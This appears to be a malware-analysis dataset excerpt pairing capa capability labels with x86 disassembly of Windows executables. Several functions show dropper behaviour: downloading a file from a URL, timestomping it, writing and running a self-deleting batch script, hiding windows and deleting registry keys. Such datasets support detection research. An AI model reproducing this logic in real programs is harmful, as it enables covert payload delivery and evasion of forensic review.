joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44d990
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x492388
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.0048e13c
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.0044d350
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.0048e06a
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.0048a933
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.0048a933
push 1
push 0
push 0
mov ecx, esi
call fcn.0048a8db
push 1
push 0
push 1
mov ecx, esi
call fcn.0048a8db
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0048e1ae
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x44db10
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x492388
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.0048e13c
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.0044d350
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.0048e06a
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x44dbd4
cmp dword [esp + 0x40], 1
jne 0x44dbd2
cmp ecx, eax
jge 0x44dbd4
mov eax, ecx
cmp eax, 0xc8
jge 0x44dbe0
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.0044d990
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0048e1ae
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x44e390
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4951a3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.00488d54
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.0048e3e4
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.0048f9c3
test eax, eax
je 0x44e4ac
mov ecx, dword [esp + 0x3c]
call fcn.0048e411
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x44e470
push edi
mov ecx, esi
call fcn.0048ba7a
mov ecx, esi
call fcn.0044e650
cmp dword [esp + 0x38], 1
jne 0x44e4a5
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.0048bbb5
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x450600
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x450633
push esi
call fcn.0045e970
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x45062c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x4506b9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x4506a2
mov eax, dword [esi + 8]
test eax, eax
je 0x450657
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x45069e
cmp eax, 2
je 0x4506a2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x45064a
cmp eax, 3
je 0x45067d
cmp eax, 1
jne 0x45064a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x45064a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x45064a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.004506e0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x4506c8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.004506e0
add esp, 4
pop esi
ret

Function at 0x450f40
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x450f61
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x450f61
mov eax, dword [eax + 0x44]
test eax, eax
je 0x450f61
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4513b0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x4513bb
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x4514be
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x4b9128]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4b9128]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4b9128]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4b9128]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4b9128]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4b9128]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4b9128]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x4b9128]
xor eax, edx
inc ecx
dec edi
jne 0x4513d6
pop edi
test esi, esi
je 0x4514e0
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x4b9128]
xor eax, edx
inc ecx
dec esi
jne 0x4514c2
pop esi
pop ebx
not eax
ret
Function at 0x46bc60
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x46bd03
test eax, eax
jbe 0x46bd03
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x46bd03
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x46bcae
xor esi, esi
jmp 0x46bcb4
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x46bcdf
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.0046db70
add esi, eax
push esi
mov ebx, esi
call fcn.0046db70
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x46bcc0
pop ebp
test edi, edi
pop edi
jne 0x46bd03
test ebx, ebx
je 0x46bd03
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.00470be0
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc

Function at 0x46be20
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x46bf3d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x46bf3d
mov eax, dword [esi + 0x3c]
push eax
call fcn.004891a6
mov esi, eax
test esi, esi
je 0x46bf3d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x46bf3d
mov ecx, esi
call fcn.0046bdb0
cmp edi, eax
jge 0x46bf3d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x46bec3
mov dword [esp + 0x34], 1
jmp 0x46bf1e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x46bf3d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.0046b3a0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc
Function at 0x481222
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4ddbcc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.004764ca
mov dword [ebp - 0x14], eax
cmp dword [0x4ffea4], edi
jne 0x481313
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x4812a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4813f3
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x4813f3
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4813f3
push eax
call ebx
push 0x4c2efc
push esi
mov dword [0x4ffea4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x4c2f0c
push esi
mov dword [0x4ffea8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x4ffeac], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4ffeb4], eax
test eax, eax
je 0x481310
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4ffeb0], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x481338
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x48132b
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x48134d
push 4
pop eax
jmp 0x4813f5
cmp dword [ebp - 0x14], edi
je 0x48134d
push dword [0x4ffea4]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x481332
mov eax, dword [0x4ffeb0]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x4813ab
cmp dword [0x4ffeb4], esi
je 0x4813ab
push eax
call ebx
push dword [0x4ffeb4]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4813ab
test eax, eax
je 0x4813ab
call ecx
test eax, eax
je 0x4813a0
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4813a0
test byte [ebp - 8], 1
jne 0x4813ab
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x4813db
mov eax, dword [0x4ffea8]
cmp eax, esi
je 0x4813d8
push eax
call ebx
test eax, eax
je 0x4813d8
call eax
mov edi, eax
test edi, edi
je 0x4813d8
mov eax, dword [0x4ffeac]
cmp eax, esi
je 0x4813d8
push eax
call ebx
test eax, eax
je 0x4813d8
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x4ffea4]
call ebx
test eax, eax
je 0x4813f3
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x4813f5
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0047a21c
leave
ret
Function at 0x489b49
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x489b81
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00487c01
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00487bd9
jmp 0x489b8d
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x48b237
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x48b279
call fcn.00490d90
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x48b279
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x48b270
xor eax, eax
jmp 0x48b281
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0048b287
pop edi
pop esi
pop ebx
ret 4
Function at 0x401000
Capabilities:
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push esi
push 0
push 0x2000000
push 3
push 0
push 3
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401031
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
xor edx, edx
mov eax, 0x7e6
mov word [esp + 0x10], ax
mov ecx, 6
mov word [esp + 0x12], cx
mov word [esp + 0x14], dx
mov eax, 0xf
mov ecx, 5
mov word [esp + 0x16], ax
mov edx, 7
mov eax, ecx
mov word [esp + 0x1a], dx
lea edx, [esp + 8]
mov word [esp + 0x1c], ax
mov word [esp + 0x18], cx
push edx
lea eax, [esp + 0x14]
xor ecx, ecx
push eax
mov word [esp + 0x26], cx
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea ecx, [esp + 8]
push ecx
mov edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea eax, [esp + 8]
push eax
push 0
mov ecx, eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4010d0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x358
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x354], eax
push ebx
push esi
push edi
mov ecx, 0x10
mov esi, str.:Repeat_r_ndel__q__a___s__r_nif_exist___s__goto_Repeat_r_ndel__q__a___s_
lea edi, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 1
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x54]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov eax, str.unasd_rerx32.bat
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401121
lea edi, [esp + 0x54]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401131
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x104
lea ecx, [esp + 0x15c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
mov edi, edi
mov cl, byte [esp + eax + 0x158]
mov byte [esp + eax + 0x25c], cl
inc eax
test cl, cl
jne 0x401160
lea edx, [esp + 0x25c]
push 0x5c
push edx
call dword [sym.imp.MSVCR90.dll_strrchr]
add esp, 8
test eax, eax
je 0x40118d
mov byte [eax], 0
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401276
lea eax, [esp + 0x10]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4011c0
sub eax, edx
mov edi, eax
lea eax, [esp + 0x158]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4011d5
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x54]
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4011e7
sub eax, esi
lea edx, [eax + ecx*2]
add edx, ecx
lea edi, [edx + edi + 0x32]
push edi
call dword [sym.imp.MSVCR90.dll_malloc]
push edi
mov esi, eax
push 0
push esi
call sub.MSVCR90.dll_memset
lea eax, [esp + 0x64]
push eax
lea ecx, [esp + 0x16c]
push ecx
mov edx, ecx
push edx
lea eax, [esp + 0x2c]
push eax
push esi
call dword [sym.imp.MSVCR90.dll_sprintf]
mov eax, esi
add esp, 0x24
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401230
push 0
sub eax, ecx
lea ecx, [esp + 0x10]
push ecx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea edx, [esp + 0x60]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x401276
push esi
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov ecx, dword [esp + 0x360]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040196a
add esp, 0x358
ret
Function at 0x401290
Capabilities:
Download url
Receive data

Disassembly:
push ebx
push edi
xor ebx, ebx
push ebx
push ebx
mov edi, eax
mov eax, dword [esp + 0x14]
push edi
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x4012fb
push esi
push 0x40325c
push edi
call dword [sym.imp.MSVCR90.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x4012ef
push ebp
push 2
push ebx
push esi
call dword [sym.imp.MSVCR90.dll_fseek]
push esi
call dword [sym.imp.MSVCR90.dll_ftell]
push esi
mov ebp, eax
call dword [sym.imp.MSVCR90.dll_fclose]
add esp, 0x14
cmp ebp, 0x1f40
pop ebp
jbe 0x4012ef
mov ebx, 1
call fcn.00401000
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
pop esi
pop edi
mov eax, ebx
pop ebx
ret

Function at 0x401300
Capabilities:
Create process on windows
Hide graphical window

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4e20
xor ebp, ebp
call edi
mov ebx, dword [sym.imp.USER32.dll_FindWindowA]
mov dword [esp + 0x10], ebp
mov edi, edi
mov eax, dword [esp + 0x18]
push 0
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, 0x64
lea ecx, [ecx]
push 0x64
dec esi
call edi
push str.STR_WAITING
push 0
call ebx
test eax, eax
jbe 0x401360
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ebp, 1
test esi, esi
jg 0x401340
test ebp, ebp
jne 0x40137d
push 0x1388
call edi
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 2
mov dword [esp + 0x10], eax
jl 0x401320
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x401390
Capabilities:
Delete registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x210
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebp
push esi
push edi
push 0xff
xor ebp, ebp
lea eax, [esp + 0x19]
push ebp
push eax
mov byte [esp + 0x20], 0
call sub.MSVCR90.dll_memset
mov ecx, 6
mov esi, str.SOFTWAREWinCSIDL_RECENT
lea edi, [esp + 0x120]
rep movsd dword es:[edi], dword [esi]
push 0xea
lea ecx, [esp + 0x13e]
push ebp
push ecx
movsw word es:[edi], word [esi]
call sub.MSVCR90.dll_memset
add esp, 0x18
lea edx, [esp + 0xc]
push edx
push 0xf003f
push ebp
lea eax, [esp + 0x120]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40144f
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x18]
push edx
push eax
push eax
mov eax, dword [esp + 0x1c]
push str.Value
push eax
mov dword [esp + 0x28], 0x100
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [esp + 0x14]
mov edx, ebx
mov ecx, eax
sub edx, ecx
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401440
mov ebp, 1
mov eax, dword [esp + 0xc]
test eax, eax
je 0x40145e
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x114]
push edx
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov ecx, dword [esp + 0x218]
pop edi
pop esi
mov eax, ebp
pop ebp
xor ecx, esp
call fcn.0040196a
add esp, 0x210
ret
Function at 0x40196a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x401974
repz ret
jmp fcn.00401c8e